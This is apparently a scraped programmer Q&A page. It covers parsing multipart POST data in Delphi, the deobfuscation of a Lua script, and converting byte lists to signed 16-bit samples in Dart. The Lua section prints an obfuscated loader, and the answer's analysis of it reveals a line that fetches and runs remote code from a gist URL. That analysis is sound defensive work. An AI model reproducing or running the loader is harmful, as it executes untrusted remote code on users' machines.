Delphi Request.ContentFields.Values['something'] is not showing values on MIME data - delphi

In TWebModule1.WebModule1WebActionItem1Action(), using Request.ContentFields.Values['content'] or any name, I cannot get any values from the POST, but if I use Request.ContentFields.DelimitedText, I will get the values. Where did I go wrong?
This is the values DelimitedText returned:
------WebKitFormBoundaryHkgxkABfO4DL8g8Q,"Content-Disposition: form-data; name=""name""",NEWTEST,------WebKitFormBoundaryHkgxkABfO4DL8g8Q,"Content-Disposition: form-data; name=""content""","{""resolution""",D,",""symbol_type""",stock,",""exchange""",IDX,",""listed_exchange""",IDX,",""symbol""",BBCA,",""short_name""",BBCA,",""legs""",[{\,"symbol\"":\""","BCA\"",\""","ro_symbol\"":\""","BCA\""}]""",id,":2,""name""",NEWTEST,",""description""",,",""charts_symbols""",{\,"1\"":{\""","ymbol\"":\""","BCA\""}}""",is_realtime,":""1""",content,":""{\""","ame\"":\""","EWTEST\"",\""","ayout\"":\""","\"",\""","harts\"":[{\""","anes\"":[{\""","ources\"":[{\""","ype\"":\""","ainSeries\"",\""","d\"":\""","NUxsv\"",\""","tate\"":{\""","tyle\"":8,\""","sdShowDividends\"":true,\""","sdShowSplits\"":true,\""","sdShowEarnings\"":true,\""","sdShowBreaks\"":false,\""","sdFlagSize\"":2,\""","howCountdown\"":false,\""","idAsk\"":{\""","isible\"":false,\""","ineStyle\"":1,\""","ineWidth\"":1,\""","idLineColor\"":\""","2962FF\"",\""","skLineColor\"":\""","F7525F\""},\""","rePostMarket\"":{\""","isible\"":true,\""","ineStyle\"":1,\""","ineWidth\"":1,\""","reMarketColor\"":\""","fb8c00\"",\""","ostMarketColor\"":\""","2962FF\""},\""","ighLowAvgPrice\"":{\""","ighLowPriceLinesVisible\"":false,\""","ighLowPriceLabelsVisible\"":false,\""","verageClosePriceLineVisible\"":false,\""","verageClosePriceLabelVisible\"":false},\""","howInDataWindow\"":true,\""","isible\"":true,\""","howPriceLine\"":true,\""","riceLineWidth\"":1,\""","riceLineColor\"":\""",",\","baseLineColor\"":\""","B2B5BE\"",\""","howPrevClosePriceLine\"":false,\""","revClosePriceLineWidth\"":1,\""","revClosePriceLineColor\"":\""","gba( 85, 85, 85, 1)\"",\""","inTick\"":\""","efault\"",\""","ividendsAdjustment\"":{},\""","ackAdjustment\"":false,\""","ettlementAsClose\"":true,\""","essionId\"":\""","egular\"",\""","essVis\"":false,\""","tatusViewStyle\"":{\""","ontSize\"":17,\""","howExchange\"":true,\""","howInterval\"":true,\""","ymbolTextSource\"":\""","escription\"",\""","howSymbolAsDescription\"":false},\""","andleStyle\"":{\""","pColor\"":\""","53b987\"",\""","ownColor\"":\""","eb4d5c\"",\""","rawWick\"":true,\""","rawBorder\"":true,\""","orderColor\"":\""","378658\"",\""","orderUpColor\"":\""","53b987\"",\""","orderDownColor\"":\""","eb4d5c\"",\""","ickColor\"":\""","737375\"",\""","ickUpColor\"":\""","a9cdd3\"",\""","ickDownColor\"":\""","f5a6ae\"",\""","arColorsOnPrevClose\"":false,\""","rawBody\"":true},\""","ollowCandleStyle\"":{\""","pColor\"":\""","gba( 83, 185, 135, 1)\"",\""","ownColor\"":\""","gba( 255, 77, 92, 1)\"",\""","rawWick\"":true,\""","rawBorder\"":true,\""","orderColor\"":\""","gba( 55, 134, 88, 1)\"",\""","orderUpColor\"":\""","gba( 83, 185, 135, 1)\"",\""","orderDownColor\"":\""","gba( 255, 77, 92, 1)\"",\""","ickColor\"":\""","gba( 115, 115, 117, 1)\"",\""","ickUpColor\"":\""","gba( 169, 220, 195, 1)\"",\""","ickDownColor\"":\""","gba( 245, 166, 174, 1)\"",\""","rawBody\"":true},\""","aStyle\"":{\""","pColor\"":\""","gba( 83, 185, 135, 1)\"",\""","ownColor\"":\""","gba( 255, 77, 92, 1)\"",\""","rawWick\"":true,\""","rawBorder\"":true,\""","orderColor\"":\""","gba( 55, 134, 88, 1)\"",\""","orderUpColor\"":\""","gba( 83, 185, 135, 1)\"",\""","orderDownColor\"":\""","gba( 255, 77, 92, 1)\"",\""","ickColor\"":\""","gba( 115, 115, 117, 1)\"",\""","ickUpColor\"":\""","gba( 83, 185, 135, 1)\"",\""","ickDownColor\"":\""","gba( 255, 77, 92, 1)\"",\""","howRealLastPrice\"":false,\""","arColorsOnPrevClose\"":false,\""","nputs\"":{},\""","nputInfo\"":{},\""","rawBody\"":true},\""","arStyle\"":{\""","pColor\"":\""","gba( 83, 185, 135, 1)\"",\""","ownColor\"":\""","gba( 255, 77, 92, 1)\"",\""","arColorsOnPrevClose\"":false,\""","ontDrawOpen\"":false,\""","hinBars\"":true},\""","iloStyle\"":{\""","olor\"":\""","2962FF\"",\""","howBorders\"":true,\""","orderColor\"":\""","2962FF\"",\""","howLabels\"":true,\""","abelColor\"":\""","2962FF\"",\""","ontSize\"":7,\""","rawBody\"":true},\""","ineStyle\"":{\""","olor\"":\""","gba( 60, 120, 216, 1)\"",\""","inestyle\"":0,\""","inewidth\"":1,\""","riceSource\"":\""","lose\"",\""","tyleType\"":2},\""","reaStyle\"":{\""","olor1\"":\""","gba( 96, 96, 144, 0.5)\"",\""","olor2\"":\""","gba( 1, 246, 245, 0.5)\"",\""","inecolor\"":\""","gba( 0, 148, 255, 1)\"",\""","inestyle\"":0,\""","inewidth\"":1,\""","riceSource\"":\""","lose\"",\""","ransparency\"":50},\""","enkoStyle\"":{\""","pColor\"":\""","gba( 83, 185, 135, 1)\"",\""","ownColor\"":\""","gba( 255, 77, 92, 1)\"",\""","orderUpColor\"":\""","gba( 83, 185, 135, 1)\"",\""","orderDownColor\"":\""","gba( 255, 77, 92, 1)\"",\""","pColorProjection\"":\""","gba( 169, 220, 195, 1)\"",\""","ownColorProjection\"":\""","gba( 245, 166, 174, 1)\"",\""","orderUpColorProjection\"":\""","gba( 169, 220, 195, 1)\"",\""","orderDownColorProjection\"":\""","gba( 245, 166, 174, 1)\"",\""","ickUpColor\"":\""","gba( 83, 185, 135, 1)\"",\""","ickDownColor\"":\""","gba( 255, 77, 92, 1)\"",\""","nputs\"":{\""","ource\"":\""","lose\"",\""","ources\"":\""","lose\"",\""","oxSize\"":3,\""","tyle\"":\""","TR\"",\""","trLength\"":14,\""","icks\"":true},\""","nputInfo\"":{\""","ource\"":{\""","ame\"":\""","ource\""},\""","ources\"":{\""","ame\"":\""","ource\""},\""","oxSize\"":{\""","ame\"":\""","ox size\""},\""","tyle\"":{\""","ame\"":\""","tyle\""},\""","trLength\"":{\""","ame\"":\""","TR Length\""},\""","icks\"":{\""","ame\"":\""","icks\""}}},\""","bStyle\"":{\""","pColor\"":\""","gba( 83, 185, 135, 1)\"",\""","ownColor\"":\""","gba( 255, 77, 92, 1)\"",\""","orderUpColor\"":\""","gba( 83, 185, 135, 1)\"",\""","orderDownColor\"":\""","gba( 255, 77, 92, 1)\"",\""","pColorProjection\"":\""","gba( 169, 220, 195, 1)\"",\""","ownColorProjection\"":\""","gba( 245, 166, 174, 1)\"",\""","orderUpColorProjection\"":\""","gba( 169, 220, 195, 1)\"",\""","orderDownColorProjection\"":\""","gba( 245, 166, 174, 1)\"",\""","nputs\"":{\""","ource\"":\""","lose\"",\""","b\"":3},\""","nputInfo\"":{\""","ource\"":{\""","ame\"":\""","ource\""},\""","b\"":{\""","ame\"":\""","umber of line\""}}},\""","agiStyle\"":{\""","pColor\"":\""","gba( 83, 185, 135, 1)\"",\""","ownColor\"":\""","gba( 255, 77, 92, 1)\"",\""","pColorProjection\"":\""","gba( 169, 220, 195, 1)\"",\""","ownColorProjection\"":\""","gba( 245, 166, 174, 1)\"",\""","nputs\"":{\""","ource\"":\""","lose\"",\""","tyle\"":\""","TR\"",\""","trLength\"":14,\""","eversalAmount\"":1},\""","nputInfo\"":{\""","ource\"":{\""","ame\"":\""","ource\""},\""","tyle\"":{\""","ame\"":\""","tyle\""},\""","trLength\"":{\""","ame\"":\""","TR Length\""},\""","eversalAmount\"":{\""","ame\"":\""","eversal amount\""}}},\""","nfStyle\"":{\""","pColor\"":\""","gba( 83, 185, 135, 1)\"",\""","ownColor\"":\""","gba( 255, 77, 92, 1)\"",\""","pColorProjection\"":\""","gba( 169, 220, 195, 1)\"",\""","ownColorProjection\"":\""","gba( 245, 166, 174, 1)\"",\""","nputs\"":{\""","ources\"":\""","lose\"",\""","eversalAmount\"":3,\""","oxSize\"":1,\""","tyle\"":\""","TR\"",\""","trLength\"":14,\""","neStepBackBuilding\"":false},\""","nputInfo\"":{\""","ources\"":{\""","ame\"":\""","ource\""},\""","oxSize\"":{\""","ame\"":\""","ox size\""},\""","eversalAmount\"":{\""","ame\"":\""","eversal amount\""},\""","tyle\"":{\""","ame\"":\""","tyle\""},\""","trLength\"":{\""","ame\"":\""","TR Length\""},\""","neStepBackBuilding\"":{\""","ame\"":\""","ne step back building\""}}},\""","aselineStyle\"":{\""","aselineColor\"":\""","gba( 117, 134, 150, 1)\"",\""","opFillColor1\"":\""","gba( 83, 185, 135, 0.1)\"",\""","opFillColor2\"":\""","gba( 83, 185, 135, 0.1)\"",\""","ottomFillColor1\"":\""","gba( 235, 77, 92, 0.1)\"",\""","ottomFillColor2\"":\""","gba( 235, 77, 92, 0.1)\"",\""","opLineColor\"":\""","gba( 83, 185, 135, 1)\"",\""","ottomLineColor\"":\""","gba( 235, 77, 92, 1)\"",\""","opLineWidth\"":1,\""","ottomLineWidth\"":1,\""","riceSource\"":\""","lose\"",\""","ransparency\"":50,\""","aseLevelPercentage\"":50},\""","angeStyle\"":{\""","pColor\"":\""","22AB94\"",\""","ownColor\"":\""","F7525F\"",\""","hinBars\"":true,\""","pColorProjection\"":\""","gba( 169, 220, 195, 1)\"",\""","ownColorProjection\"":\""","gba( 245, 166, 174, 1)\"",\""","nputs\"":{\""","ange\"":10,\""","hantomBars\"":false},\""","nputInfo\"":{\""","ange\"":{\""","ame\"":\""","ange\""},\""","hantomBars\"":{\""","ame\"":\""","hantom bars\""}}},\""","ilentIntervalChange\"":false,\""","ymbol\"":\""","BCA\"",\""","hortName\"":\""","BCA\"",\""","imeframe\"":\""",",\","onWidget\"":false,\""","nterval\"":\""","\"",\""","nitId\"":null,\""","urrencyId\"":\""","DR\"",\""","howSessions\"":false,\""","riceAxisProperties\"":{\""","utoScale\"":true,\""","utoScaleDisabled\"":false,\""","ockScale\"":false,\""","ercentage\"":false,\""","ercentageDisabled\"":false,\""","og\"":false,\""","ogDisabled\"":false,\""","lignLabels\"":true,\""","sInverted\"":false,\""","ndexedTo100\"":false}},\""","order\"":0,\""","aStyle\"":{\""","tudyId\"":\""","arSetHeikenAshi#tv-basicstudies-60\""},\""","enkoStyle\"":{\""","tudyId\"":\""","arSetRenko#tv-prostudies-40\""},\""","bStyle\"":{\""","tudyId\"":\""","arSetPriceBreak#tv-prostudies-34\""},\""","agiStyle\"":{\""","tudyId\"":\""","arSetKagi#tv-prostudies-34\""},\""","nfStyle\"":{\""","tudyId\"":\""","arSetPnF#tv-prostudies-34\""},\""","angeStyle\"":{\""","tudyId\"":\""","arSetRange#tv-basicstudies-72\""}},{\""","ype\"":\""","tudy_Volume\"",\""","d\"":\""","InSIU\"",\""","tate\"":{\""","tyles\"":{\""","ol\"":{\""","inestyle\"":0,\""","inewidth\"":1,\""","lottype\"":5,\""","rackPrice\"":false,\""","ransparency\"":50,\""","isible\"":true,\""","olor\"":\""","000080\"",\""","istogramBase\"":0,\""","oinPoints\"":false,\""","itle\"":\""","olume\""},\""","ol_ma\"":{\""","inestyle\"":0,\""","inewidth\"":1,\""","lottype\"":0,\""","rackPrice\"":false,\""","ransparency\"":0,\""","isible\"":false,\""","olor\"":\""","2196f3\"",\""","istogramBase\"":0,\""","oinPoints\"":false,\""","itle\"":\""","olume MA\""},\""","moothedMA\"":{\""","inestyle\"":0,\""","inewidth\"":1,\""","lottype\"":0,\""","rackPrice\"":false,\""","ransparency\"":0,\""","isible\"":false,\""","olor\"":\""","2196f3\"",\""","istogramBase\"":0,\""","oinPoints\"":false,\""","itle\"":\""","moothed MA\""}},\""","alettes\"":{\""","olumePalette\"":{\""","olors\"":{\""","\"":{\""","olor\"":\""","F7525F\"",\""","idth\"":1,\""","tyle\"":0,\""","ame\"":\""","alling\""},\""","\"":{\""","olor\"":\""","22AB94\"",\""","idth\"":1,\""","tyle\"":0,\""","ame\"":\""","rowing\""}}}},\""","nputs\"":{\""","howMA\"":false,\""","ength\"":20,\""","ol_prev_close\"":false,\""","ymbol\"":\""",",\","smoothingLine\"":\""","MA\"",\""","moothingLength\"":9},\""","recision\"":\""","efault\"",\""","ands\"":{},\""","rea\"":{},\""","raphics\"":{},\""","howInDataWindow\"":true,\""","isible\"":true,\""","howLegendValues\"":true,\""","howLabelsOnPriceScale\"":true,\""","lots\"":{\""","\"":{\""","d\"":\""","ol\"",\""","ype\"":\""","ine\""},\""","\"":{\""","d\"":\""","olumePalette\"",\""","alette\"":\""","olumePalette\"",\""","arget\"":\""","ol\"",\""","ype\"":\""","olorer\""},\""","\"":{\""","isible\"":true,\""","utureOnly\"":true,\""","reaks\"":{\""","olor\"":\""","gba(85, 85, 85, 1)\"",\""","isible\"":false,\""","tyle\"":2,\""","idth\"":1}},\""","radingProperties\"":{\""","howPositions\"":true,\""","ositionPL\"":{\""","isibility\"":true,\""","isplay\"":0},\""","howOrders\"":true,\""","howExecutions\"":true,\""","howReverse\"":true,\""","orizontalAlignment\"":2,\""","xtendLeft\"":true,\""","ineLength\"":5,\""","ineWidth\"":1,\""","ineStyle\"":2},\""","riceScaleSelectionStrategyName\"":\""","uto\""},\""","ineToolsGroups\"":{\""","roups\"":[]},\""","ersion\"":3,\""","imezone\"":\""","tc/UTC\"",\""","essions\"":{\""","roperties\"":{\""","raphics\"":{\""","ackgrounds\"":{\""","utOfSession\"":{\""","olor\"":\""","2962FF\"",\""","ransparency\"":92,\""","isible\"":false},\""","reMarket\"":{\""","olor\"":\""","FF9800\"",\""","ransparency\"":92,\""","isible\"":false},\""","ostMarket\"":{\""","olor\"":\""","2962FF\"",\""","ransparency\"":92,\""","isible\"":false}},\""","ertlines\"":{\""","essBreaks\"":{\""","olor\"":\""","4985e7\"",\""","tyle\"":2,\""","isible\"":false,\""","idth\"":1}}}}},\""","houldBeSavedEvenIfHidden\"":true,\""","hartId\"":\""","\""}]}""",------WebKitFormBoundaryHkgxkABfO4DL8g8Q,"Content-Disposition: form-data; name=""symbol""",BBCA,------WebKitFormBoundaryHkgxkABfO4DL8g8Q,"Content-Disposition: form-data; name=""resolution""",D,------WebKitFormBoundaryHkgxkABfO4DL8g8Q--

I have been googling the whole web, mostly outdated answer from years ago and I don't find any proper easy way to parse it, but I found my own manual way, please anyone, have a better way to parse please share. thanks.
LBoundary := ExtractHeaderSubItem(Request.ContentType, 'boundary', QuoteHTTP);
tmpstring := Request.Content;
tmpstring := trim(tmpstring);
i := Pos('Content-Disposition: form-data; name="name"', tmpstring);
j := Pos('Content-Disposition: form-data; name="content"', tmpstring);
k := j - i;
tmpstring := (Copy(tmpstring, i, k));
tmpstring := StringReplace(tmpstring, 'Content-Disposition: form-data; name="name"', '', [rfReplaceAll]);
tmpstring := StringReplace(tmpstring, 'Content-Disposition: form-data; name="content"', '', [rfReplaceAll]);
tmpstring := StringReplace(tmpstring, '--'+LBoundary, '', [rfReplaceAll]);
tmpstring := StringReplace(tmpstring, #13#10, '', [rfReplaceAll]);
tmpstring := StringReplace(tmpstring, #32, '', [rfReplaceAll]);
tmpstring := StringReplace(tmpstring, #9, '', [rfReplaceAll]);
name:= tmpstring;

Related

How to decrypt a LuaT script

How can I decrypt this new Lua encryption method?
key=[[BREW STORE]];dmnpxzbtpptkabbbstzuaaiyxqbgfszjdhxuxcztvmrghjbawfatwzqandrzrfqlragsyqggkpbvtqktxbckpewunqnfosobaogiitkfsbzuihgljnzslgtmjmgkdasx='om jangan decrypt aku :((';awzmplriqloyociafdhovyenmbcbhqmyegwedddczphgbvubquftewkdqtypcsxmsxihkcwajhqqwidoleeudnahsscjbmlkaocozlvxsbnjbyphljxkcavllyevkhii='Obfuscator Ini Milik ZiGB';jknofzqxfwhpgpwunwnntdqilsqedpbwajyxnzgqchnbspvvehqoyvqdsavrovwklpgfbzpyiorpggadtdjbworigkbdnkbsspfsobalqavigtcfwehcreyeftezpkdi='Kamu Nyari Load?';rzoekzjkzzarhiovruxttaybxqpnhiobpvhbcywmhqlcfoltkbktsjwkldwgobariqrhmimxrmmlbrwhpvurflbcgjonrjvfuappyjeqpmdjghdviciyqkrfpnburddu='Saya Tak Ragu Ingin Nembak Gay People';yazmbcaksoywojorasrbfjqppsgyjdqlzwulsjbfyjxnvxebwmmdxqwkqmhepswuioueybvygkqgijdkrfwmlswajeadgafqggjcdafxxqfgvcmcuennmaesreozhlbn="Soeharto is first indonesian president. Jokowi is seventh indonesian's president, Itadori Yuuji is one of main character in Jujutsu Kaisen Anime, Kento Nanami is Side Character On Jujutsu Kaisen Anime. Lava is 1 of the most dangerous liquid in the world (cap)";mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju={ 1,160,3,187,236,277,257,244,160,185,307,173,170,186,170,164,168,168,280,246,160,160,160,160,160,160,160,160,160,160,160,200,279,224,161,392,224,227,218,252,260,265,275,259,271,274,260,205,258,271,276,205,268,277,257,205,271,258,262,277,275,259,257,276,271,274,252,260,265,275,259,271,274,260,205,258,271,276,205,268,277,257,205,271,258,262,277,275,259,257,276,271,274,252,260,265,275,259,271,274,260,205,258,271,276,205,268,277,257,205,271,258,262,277,275,259,257,276,271,274,252,271,258,262,277,275,259,257,276,261,260,252,261,270,259,206,268,277,257,293,296,160,160,215,161,337,171,160,160,160,299,160,160,161,171,161,160,162,174,161,162,163,299,161,160,164,302,161,163,165,179,162,160,320,242,160,160,160,289,290,213,288,161,163,215,288,289,163,208,288,161,292,209,288,289,292,179,288,161,293,216,288,289,165,210,288,161,166,216,288,289,166,218,288,161,167,210,288,289,167,217,288,161,296,217,288,289,296,175,288,161,297,179,288,289,297,176,288,161,170,195,288,289,170,194,288,161,299,201,288,289,299,176,288,161,300,181,288,289,300,175,288,161,301,176,288,289,301,211,288,161,302,217,288,289,302,217,288,161,303,215,288,289,175,217,288,161,304,188,288,289,176,183,288,161,177,183,288,289,177,211,288,161,178,212,288,289,178,217,288,161,307,217,288,289,307,182,288,161,180,211,288,289,180,212,288,161,309,217,288,289,309,211,288,161,182,218,288,289,310,208,288,161,183,218,288,289,183,217,288,161,184,210,288,289,312,216,288,161,185,209,288,289,185,215,288,161,314,214,288,289,314,217,288,161,187,210,288,238,162,210,160,289,290,214,288,161,291,217,288,289,291,182,288,161,164,209,288,289,164,215,288,161,165,214,288,289,165,183,288,161,294,208,288,289,294,216,288,161,167,210,288,289,167,219,288,161,296,209,288,289,168,210,288,161,297,216,288,289,169,217,288,161,170,183,288,289,170,210,288,161,171,188,288,289,171,209,288,161,300,186,288,289,172,208,288,161,301,209,288,289,301,187,288,161,302,186,288,289,174,208,288,161,303,209,288,289,175,184,288,161,304,185,288,289,304,187,288,161,177,208,288,289,177,185,288,161,306,208,288,289,178,210,288,161,307,186,288,289,179,188,288,161,180,208,288,289,180,208,288,161,309,208,288,289,181,184,288,161,310,210,288,289,182,185,288,161,311,209,288,289,183,186,288,161,184,210,288,289,184,208,288,161,185,210,288,289,185,209,288,161,186,188,288,289,186,183,288,161,315,216,288,238,162,210,210,289,162,208,288,161,163,219,288,289,163,183,288,161,164,210,288,289,292,184,288,161,293,183,288,289,165,184,288,161,294,185,288,289,294,187,288,161,295,186,288,289,295,187,288,161,168,187,288,289,168,186,288,161,169,185,288,289,297,185,288,161,170,186,288,289,298,209,288,161,171,185,288,289,299,185,288,161,172,186,288,289,300,186,288,161,301,185,288,289,301,184,288,161,302,210,288,289,174,185,288,161,303,185,288,289,175,186,288,161,304,209,288,289,176,187,288,161,305,184,288,289,177,209,288,161,306,210,288,289,306,184,288,161,307,185,288,289,307,185,288,161,308,187,288,289,308,183,288,161,309,184,288,289,181,188,288,161,310,185,288,289,182,187,288,161,311,184,288,289,183,185,288,161,184,183,288,289,312,193,288,161,313,194,288,289,313,208,288,161,314,216,288,289,186,210,288,161,187,219,288,238,162,210,260,289,290,182,288,161,291,213,288,289,163,218,288,161,164,208,288,289,292,176,288,161,165,180,288,289,165,180,288,161,294,175,288,289,294,179,288,161,167,180,288,238,162,170,310,356,161,162,160,228,161,160,160,356,160,160,160,228,160,160,161,231,160,161,160,294,164,294,272,259,257,268,268,164,293,268,271,257,260,164,295,275,276,274,265,270,263,164,293,259,264,257,274,164,294,276,257,258,268,261,164,295,277,270,272,257,259,267,289,160,160,160,288,161,337,162,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,288,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,160,161,289,409,295,288,289,293,255,229,238,246};local nau = 'load'; function krcqzqcsngsbnxfkqsexgiuiqovaprtpzaheaskjzihhbncooqhmmlelpomnwnisnezltuxbtjyxjyoxizmjsgskspqfmzbtiyhiycxvrhgocdbhopcpekzxeyhjezko(...) local nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm='';for hjkvtiyybvwvdxzbaltomtvihqfwcgxqjzsjowtthjlvqhgusuqokkipovcdptyjrhqynclxozdzicxtieoetduxrjtelnxpwpipzwduyoiyikjaxiyltvhxkotryzdb=1, #mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju do if hjkvtiyybvwvdxzbaltomtvihqfwcgxqjzsjowtthjlvqhgusuqokkipovcdptyjrhqynclxozdzicxtieoetduxrjtelnxpwpipzwduyoiyikjaxiyltvhxkotryzdb>3 then nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm=nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm.._ENV['\115\116\114\105\110\103']['\99\104\97\114']((mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju[hjkvtiyybvwvdxzbaltomtvihqfwcgxqjzsjowtthjlvqhgusuqokkipovcdptyjrhqynclxozdzicxtieoetduxrjtelnxpwpipzwduyoiyikjaxiyltvhxkotryzdb]-mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju[2]));end end;local tolan = 'loadstring';_ENV[_ENV['\115\116\114\105\110\103']['\99\104\97\114'](awzmplriqloyociafdhovyenmbcbhqmyegwedddczphgbvubquftewkdqtypcsxmsxihkcwajhqqwidoleeudnahsscjbmlkaocozlvxsbnjbyphljxkcavllyevkhii:lower():sub(18,18):byte(),dmnpxzbtpptkabbbstzuaaiyxqbgfszjdhxuxcztvmrghjbawfatwzqandrzrfqlragsyqggkpbvtqktxbckpewunqnfosobaogiitkfsbzuihgljnzslgtmjmgkdasx:lower():sub(1,1):byte(),rzoekzjkzzarhiovruxttaybxqpnhiobpvhbcywmhqlcfoltkbktsjwkldwgobariqrhmimxrmmlbrwhpvurflbcgjonrjvfuappyjeqpmdjghdviciyqkrfpnburddu:lower():sub(-9,-9):byte(),yazmbcaksoywojorasrbfjqppsgyjdqlzwulsjbfyjxnvxebwmmdxqwkqmhepswuioueybvygkqgijdkrfwmlswajeadgafqggjcdafxxqfgvcmcuennmaesreozhlbn:lower():sub(21,21):byte())](nixjoqhhjhbsuoohwhndfbuhzocmgjsmsswezvusnsdjzduytllzolcmlazofnocmrgusjvxitzeahishdtuqxmrfktidtfgezalcbmmfqgjniyqfmgbifvcntkhkzpm)(); end;krcqzqcsngsbnxfkqsexgiuiqovaprtpzaheaskjzihhbncooqhmmlelpomnwnisnezltuxbtjyxjyoxizmjsgskspqfmzbtiyhiycxvrhgocdbhopcpekzxeyhjezko(mfemjepnyenbjvuehqaxgpvdwqntjmfvsueerksbcticjjnhrqrrsualwlqeshnxqocmqhekxdgtecdogxyasfyapewprxfgmcmvwiedejihvdfujvprttydsulkhnju);
I tried many methods. But I don't think I'm experienced enough. The result was negative.
Add proper linebreaks
Replace insane variable names with shorter ones
Unescape things like '\115\116\114\105\110\103' into 'string'
Keep going until you realize the thing that starts with _ENV[_ENV[ ends up becoming just load (by the way, nau and tolan are unused decoys)
Notice that it's a very simple decryption function that operates on the giant table of numbers and then loads the result
Modify the decryption function to print the result instead of loading it
Notice the result of doing so is Lua 5.4 bytecode
Run unluac on said bytecode
If you're following along, you'll have gotten this out of unluac (newlines elided for brevity):
pcall(load(string.char(table.unpack({ 108, 111, 97, 100, 40, 114, 101, 113, 117, 101, 115, 116, 32, 40, 34, 71, 69, 84, 34, 44, 32, 34, 104, 116, 116, 112, 115, 58, 47, 47, 103, 105, 115, 116, 46, 103, 105, 116, 104, 117, 98, 117, 115, 101, 114, 99, 111, 110, 116, 101, 110, 116, 46, 99, 111, 109, 47, 98, 114, 101, 119, 100, 101, 114, 115, 47, 101, 57, 99, 54, 97, 100, 56, 54, 97, 100, 49, 52, 56, 97, 51, 98, 101, 54, 57, 97, 97, 98, 49, 102, 51, 100, 53, 101, 97, 101, 99, 57, 47, 114, 97, 119, 47, 101, 50, 48, 49, 52, 56, 54, 56, 55, 53, 51, 52, 53, 100, 51, 52, 53, 54, 52, 50, 102, 51, 52, 53, 100, 55, 50, 99, 102, 50, 52, 52, 56, 48, 50, 57, 52, 55, 50, 51, 47, 68, 70, 98, 114, 101, 119, 46, 108, 117, 97, 34, 41, 41, 32, 40, 41}))))
Now reverse the string.char and table.unpack to see what it's really doing:
load(request ("GET", "https://gist.githubusercontent.com/brewders/e9c6ad86ad148a3be69aab1f3d5eaec9/raw/e201486875345d345642f345d72cf24480294723/DFbrew.lua")) ()
So https://gist.githubusercontent.com/brewders/e9c6ad86ad148a3be69aab1f3d5eaec9/raw/e201486875345d345642f345d72cf24480294723/DFbrew.lua (prettier at https://gist.github.com/brewders/e9c6ad86ad148a3be69aab1f3d5eaec9#file-dfbrew-lua) has what it's really doing, and it's finally not obfuscated at all. (The sha256 was 7de86710d2e66b6ef3b7e1a772d8d80c550b7a309925320e3296ffd333988e6d at the time of writing this answer; some archives/mirrors: 1 2 3 4)
And if you're wondering how this obfuscation happened, this string is present in the bytecode, which should give you a hint: C:\discord-bot-lua-obfuscator\discord-bot-lua-obfuscator\discord-bot-lua-obfuscator\obfuscated\enc.lua

how to convert 8-bit unsigned int data to signed?

I am getting List of 8-bit unsigned int from a mic source for each sample rate which looks like this
[61, 251, 199, 251, 56, 252, 138, 252, 211, 252, 18, 253, 91, 253, 194, 253, 25, 254, 54, 254, 19, 254, 190, 253, 80, 253, 249, 252, 233, 252, 46, 253, 180, 253, 54, 254, 136, 254, 157, 254, 110, 254, 38, 254, 208, 253, 117, 253, 68, 253, 57, 253, 83, 253, 163, 253, 20, 254, 151, 254, 51, 255, 215, 255, 105, 0, 207, 0, 246, 0, 249, 0, 10, 1, 64, 1, 162, 1, 4, 2, 64, 2, 97, 2, 111, 2, 110, 2, 89, 2, 40, 2, 241, 1, 199, 1, 178, 1, 192, 1, 241, 1, 45, 2, 77, 2, 70, 2, 45, 2, 36, 2, 83, 2, 176, 2, 21, 3, 121, 3, 229, 3, 87, 4, 185, 4, 225, 4, 197, 4, 129, 4, 26, 4, 150, 3, 7, 3, 128, 2, 55, 2, 65, 2, 134, 2, 223, 2, 25, 3, 41, 3, 28, 3, 255, 2, 234, 2, 240, 2, 25, 3, 62, 3, 92, 3, 146, 3, 219, 3, 65, 4, 149, 4, 164, 4, 130, 4, 51, 4, 195, 3, 69, 3, 164, 2, 244, 1, 75, 1, 187, 0, 81, 0, 240, 255, 135, 255, 19, 255, 155, 254, 64, 254, 22, 254, 58, 254, 146, 254, 217, 254, 248, 254, 215, 254, 144, 254, 92, 254, 84, 254, 141, 254, 229, 254, 39, 255, 96, 255, 170, 255, 248, 255, 69, 0, 117, 0, 128, 0, 137, 0, 131, 0,
so how can I convert this into signed decimal value or someone can guide me to the right path
That depends on what the bytes mean.
Looking at the bytes, every other byte is either very low or very high. That suggests to me that the bytes are really little-endian signed 16-bit values.
In that case, you just need to view them as such. If we assume that the platform is little-endian (most are), you can just do:
List<int> list = ...;
Uint8List bytes = Uint8List.fromList(list); //
Int16List words = Int16List.sublistView(bytes);
Then the words list contains signed 16-bit numbers.
(If the list is already a Uint8List, you can skip the first step.)
If that's not what the bytes mean, you'll have to figure out what they do mean.
Dart int type provide a method to convert from signed to unsigned and from unsigned to signed.
For example:
int a = 16;
